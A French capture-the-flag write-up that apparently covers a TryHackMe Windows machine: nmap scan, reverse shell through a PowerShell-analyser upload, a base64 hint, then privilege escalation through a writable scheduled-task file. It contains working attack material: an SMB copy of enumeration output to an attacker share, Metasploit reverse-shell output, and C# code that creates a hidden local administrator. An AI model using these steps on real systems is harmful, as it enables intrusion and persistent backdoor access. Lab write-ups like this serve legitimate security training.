Accès initial

On commence par effectuer un scan nmap afin d’identifier les ports ouverts de la machine cible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Nmap scan report for 10.10.145.204
Host is up (0.068s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-06-26T14:08:53+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: HOSTEVASION
| NetBIOS_Domain_Name: HOSTEVASION
| NetBIOS_Computer_Name: HOSTEVASION
| DNS_Domain_Name: HostEvasion
| DNS_Computer_Name: HostEvasion
| Product_Version: 10.0.17763
|_ System_Time: 2025-06-26T14:08:13+00:00
| ssl-cert: Subject: commonName=HostEvasion
| Not valid before: 2025-06-25T14:03:17
|_Not valid after: 2025-12-25T14:03:17
8000/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
8080/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: PowerShell Script Analyser
8443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-title: PowerShell Script Analyser
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-time:
| date: 2025-06-26T14:08:14
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.37 seconds

Le scan a permis d’identifier que le serveur hébergeait un site web qui permet d’analyser les scripts powershell qu’on lui fournit.

En uploadant un script powershell permettant d’obtenir un reverse shell, on obtient directement un accès distant à la machine.

Encoded user flag

En essayant de récupérer le flag de l’utilisateur, on s’apercoit que ce dernier contient une chaine de caractère encodé en base64.

1
2
3
cat encodedflag
-----BEGIN CERTIFICATE----- WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDov LzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5w aHA= -----END CERTIFICATE-----

En décodant le fichier, on apprend l’existence d’un endpoint caché sur le site web.

1
2
3
┌──(kali㉿kali)-[~/ctf/thm]
└─$ echo -n "WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDovLzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5waHA=" | base64 -d
You can get the flag by visiting the link http://<IP_OF_THIS_PC>:8000/asdasdadasdjakjdnsdfsdfs.php

L’accès à ce dernier nous permet d’apprendre que pour récupérer le flag, il faut supprimer les fichiers logs.

En parcourant la machine et en analysant le script qui analysait les fichiers uploader, on découvre que les logs sont stocké dans le répertoire suivant :

1
C:\xampp\htdocs\uploads

En les supprimant et en retournant sur la page web, on peut récupérer le flag.

Modification d’une tâche planifiée

Pour compromettre totalement la machine, j’ai commencé par énumérer les configurations de cette dernière avec privesccheck que j’ai transféré de cette manière :

1
2
3
4
5
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\10.21.110.163\share" -Credential (New-Object PSCredential('test', (ConvertTo-SecureString 'test' -AsPlainText -Force))) 

Copy-Item PrivescCheck_HOSTEVASION.html -Destination "Z:\"


Le script nous apprend que l’on dispose des droits d’écriture sur un répertoire contenant un fichier qui est exécuté par une tâche planifiée.

En remplacant le script par un reverse shell, on ne parvient pas à stabiliser la connexion à cause de l’antivirus.

1
2
3
4
5
6
7
msf6 exploit(multi/handler) > run 
[*] Started reverse TCP handler on 10.21.110.163:4444
[*] Command shell session 2 opened (10.21.110.163:4444 -> 10.10.204.232:50051) at 2025-06-27 18:17:44 -0400

schtasks /run /tn \MyTHMTask
SUCCESS: Attempted to run the scheduled task "\MyTHMTask".

Pour contourner ce problème, on peut écrire un script en C qui va créer un nouvel utilisateur sur la machine et l’ajouter au groupe des administrateurs local.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
using System;
using System.IO;
using System.Diagnostics;

namespace AddUser
{
class Program
{
static void Main(string[] args)
{
try
{
// Chemin du batch
string batPath = @"C:\xampp\adduser.bat";

// Contenu du batch
string batContent = "@echo off\n" +
"echo --- START ADDUSER --- >> C:\\xampp\\adduser.log\n" +
"net user chemse P@ssw0rd123 /add >> C:\\xampp\\adduser.log 2>&1\n" +
"net localgroup administrators chemse /add >> C:\\xampp\\adduser.log 2>&1\n" +
"echo --- END ADDUSER --- >> C:\\xampp\\adduser.log\n";

// Écriture du fichier batch
File.WriteAllText(batPath, batContent);

// Exécution du batch
Process.Start("cmd.exe", "/c " + batPath);
}
catch (Exception ex)
{
Console.WriteLine("Erreur : " + ex.Message);
}
}
}
}

Ce script une fois converti en exe a permis d’ajouter mon compte au groupe administrateur local de la machine et de la compromettre.

1
2
3
net users
User accounts for \\HOSTEVASION ------------------------------------------------------------------------------- Administrator chemse DefaultAccount evader Guest WDAGUtilityAccount The command completed successfully.